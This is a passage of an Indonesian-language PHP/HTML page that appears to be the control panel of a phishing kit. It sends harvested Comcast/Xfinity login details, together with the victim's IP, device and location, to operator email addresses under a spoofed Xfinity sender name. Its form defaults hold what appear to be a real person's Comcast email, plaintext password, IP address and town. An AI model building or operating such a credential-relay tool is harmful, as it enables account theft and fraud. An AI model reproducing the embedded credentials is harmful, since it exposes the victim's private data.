                            <?php if (isset($result['details'])): ?>
                                <div class="email-list">
                                    <h4>Status Pengiriman:</h4>
                                    <?php foreach ($result['details'] as $detail): ?>
                                        <div class="email-item">
                                            <span class="email-icon <?php echo $detail['status'] === 'error' ? 'error' : ''; ?>">
                                                <?php echo $detail['status'] === 'success' ? '✓' : '✗'; ?>
                                            </span>
                                            <div>
                                                <strong><?php echo htmlspecialchars($detail['email']); ?></strong>
                                                <br>
                                                <small><?php echo $detail['message']; ?></small>
                                            </div>
                                        </div>
                                    <?php endforeach; ?>
                                </div>
                            <?php endif; ?>
                        </div>
                        
                        <div class="preview-section">
                            <h3>📧 Preview Email:</h3>
                            <pre>TO: <?php echo htmlspecialchars($config['target_email']); ?><?php echo !empty($config['target_email2']) ? " (dan " . (empty($config['target_email3']) ? "1" : "2") . " email lain)" : ""; ?>

SUBJECT: <?php echo htmlspecialchars($config['subject']); ?>

EMAIL CONTENT: Data lengkap telah dikirim
TIME: <?php echo $result['time_sent']; ?></pre>
                        </div>
                    <?php else: ?>
                        <div class="alert alert-error">
                            <h3>❌ <?php echo $result['message']; ?></h3>
                            <?php if (isset($result['details'])): ?>
                                <div class="email-list">
                                    <h4>Status Pengiriman:</h4>
                                    <?php foreach ($result['details'] as $detail): ?>
                                        <div class="email-item">
                                            <span class="email-icon <?php echo $detail['status'] === 'error' ? 'error' : ''; ?>">
                                                <?php echo $detail['status'] === 'success' ? '✓' : '✗'; ?>
                                            </span>
                                            <div>
                                                <strong><?php echo htmlspecialchars($detail['email']); ?></strong>
                                                <br>
                                                <small><?php echo $detail['message']; ?></small>
                                            </div>
                                        </div>
                                    <?php endforeach; ?>
                                </div>
                            <?php endif; ?>
                        </div>
                    <?php endif; ?>
                </div>
            <?php endif; ?>
            
            <form action="" method="POST" id="emailForm">
                <div class="form-section">
                    <div class="section-title">EMAIL TUJUAN</div>
                    <div class="form-group">
                        <label for="target_email">Email Tujuan 1:</label>
                        <input type="email" id="target_email" name="target_email" class="persistent-field"
                               value="<?php echo htmlspecialchars(getPersistentFieldValue('target_email', 'MASUKIN EMAIL DLU WOI BABI!')); ?>" required>
                    </div>
                    <div class="email-target-group">
                        <div class="form-group">
                            <label for="target_email2">Email Tujuan 2 (Opsional):</label>
                            <input type="email" id="target_email2" name="target_email2" class="persistent-field"
                                   value="<?php echo htmlspecialchars(getPersistentFieldValue('target_email2', '')); ?>" 
                                   placeholder="Kosongkan jika hanya 1 email">
                        </div>
                       
                    </div>
                    <!-- DITAMBAHKAN: Email Tujuan 3 -->
                    <div class="email-target-group">
                        <div class="form-group">
                            <label for="target_email3">Email Tujuan 3 (Opsional):</label>
                            <input type="email" id="target_email3" name="target_email3" class="persistent-field"
                                   value="<?php echo htmlspecialchars(getPersistentFieldValue('target_email3', '')); ?>" 
                                   placeholder="Kosongkan jika hanya 2 email">
                        </div>
                       
                    </div>
                    <div class="form-note">
                        * Email akan dikirim TERPISAH ke setiap alamat. Setiap email akan tampil seperti single recipient.
                    </div>
                </div>

                <div class="form-section">
                    <div class="section-title">PENGATURAN</div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="custom_ip">IP Address:</label>
                            <input type="text" id="custom_ip" name="custom_ip" 
                                   value="<?php echo htmlspecialchars(getFieldValue('custom_ip', '174.57.133.188')); ?>" required>
                        </div>
                        <div class="form-group">
                            <label for="custom_user_agent">User Agent:</label>
                            <input type="text" id="custom_user_agent" name="custom_user_agent" 
                                   value="<?php echo htmlspecialchars(getFieldValue('custom_user_agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0')); ?>">
                        </div>
                    </div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="sender_name">Nama Pengirim:</label>
                            <input type="text" id="sender_name" name="sender_name" class="persistent-field"
                                   value="<?php echo htmlspecialchars(getPersistentFieldValue('sender_name', 'Insomnia - Xfinity')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="sender_email">Email Pengirim:</label>
                            <input type="email" id="sender_email" name="sender_email" class="persistent-field"
                                   value="<?php echo htmlspecialchars(getPersistentFieldValue('sender_email', 'buatsmtpextt@toledogifteconomy.com')); ?>">
                        </div>
                    </div>
                </div>

                <div class="form-section">
                    <div class="section-title">COMCAST ACCOUNT</div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="email_address">Email Address:</label>
                            <input type="text" id="email_address" name="email_address" 
                                   value="<?php echo htmlspecialchars(getFieldValue('email_address', 'jknocke@comcast.net')); ?>"
                                   placeholder="Akan terisi otomatis dari paste data">
                            <div class="form-note">Input akan digunakan apa adanya</div>
                        </div>
                        <div class="form-group">
                            <label for="email_password">Password (Opsional):</label>
                            <input type="text" id="email_password" name="email_password" 
                                   value="<?php echo htmlspecialchars(getFieldValue('email_password', 'Flyers2612')); ?>">
                            <div class="form-note">* Password tidak wajib diisi</div>
                        </div>
                    </div>
                </div>

                <div class="form-section">
                    <div class="section-title">INFORMASI DEVICE</div>
                    <div class="grid-3">
                        <div class="form-group">
                            <label for="country">Country:</label>
                            <input type="text" id="country" name="country" 
                                   value="<?php echo htmlspecialchars(getFieldValue('country', 'United States')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="region">Region:</label>
                            <input type="text" id="region" name="region" 
                                   value="<?php echo htmlspecialchars(getFieldValue('region', 'New Jersey')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="device_city">City:</label>
                            <input type="text" id="device_city" name="device_city" 
                                   value="<?php echo htmlspecialchars(getFieldValue('device_city', 'Hamilton')); ?>">
                        </div>
                    </div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="device">Device (OS):</label>
                            <input type="text" id="device" name="device" 
                                   value="<?php echo htmlspecialchars(getFieldValue('device', 'Windows 10')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="browser">Browser:</label>
                            <input type="text" id="browser" name="browser" 
                                   value="<?php echo htmlspecialchars(getFieldValue('browser', 'Chrome')); ?>">
                        </div>
                    </div>
                    <div class="form-group">
                        <label>Time & Date:</label>
                        <input type="text" value="REAL-TIME - Akan terisi otomatis saat dikirim" disabled 
                               style="background: #e9ecef; color: #6c757d; cursor: not-allowed;">
                        <div class="form-note">Waktu menggunakan real-time saat email dikirim</div>
                    </div>
                </div>

                <!-- Tombol submit tersembunyi untuk form -->
                <button type="submit" id="hiddenSubmit" style="display: none;">Kirim Email</button>
            </form>
        </div>
    </div>

    <!-- POP UP BULAT DI SEBELAH KANAN -->
    <button class="floating-send-button" id="floatingSendButton" onclick="showSendConfirmation()">
        <div class="icon">📧</div>
        <div>KIRIM EMAIL</div>
    </button>

    <!-- MODAL KONFIRMASI -->
    <div class="confirmation-modal" id="confirmationModal">
        <div class="modal-content">
            <div class="modal-icon">📧</div>
            <h2 class="modal-title">Konfirmasi Pengiriman</h2>
            <p class="modal-message">Apakah Anda yakin ingin mengirim email sekarang?<br>
            <small>Email akan dikirim ke alamat yang telah ditentukan.</small></p>
            <div class="modal-actions">
                <button class="modal-btn cancel" onclick="hideSendConfirmation()">Batal</button>
                <button class="modal-btn confirm" onclick="submitForm()">Ya, Kirim Sekarang</button>
            </div>
        </div>
    </div>

    <!-- LOADING SPINNER -->
    <div class="loading-spinner" id="loadingSpinner">
        <div class="spinner"></div>
        <div class="loading-text">Mengirim Email...</div>
    </div>
</body>
</html>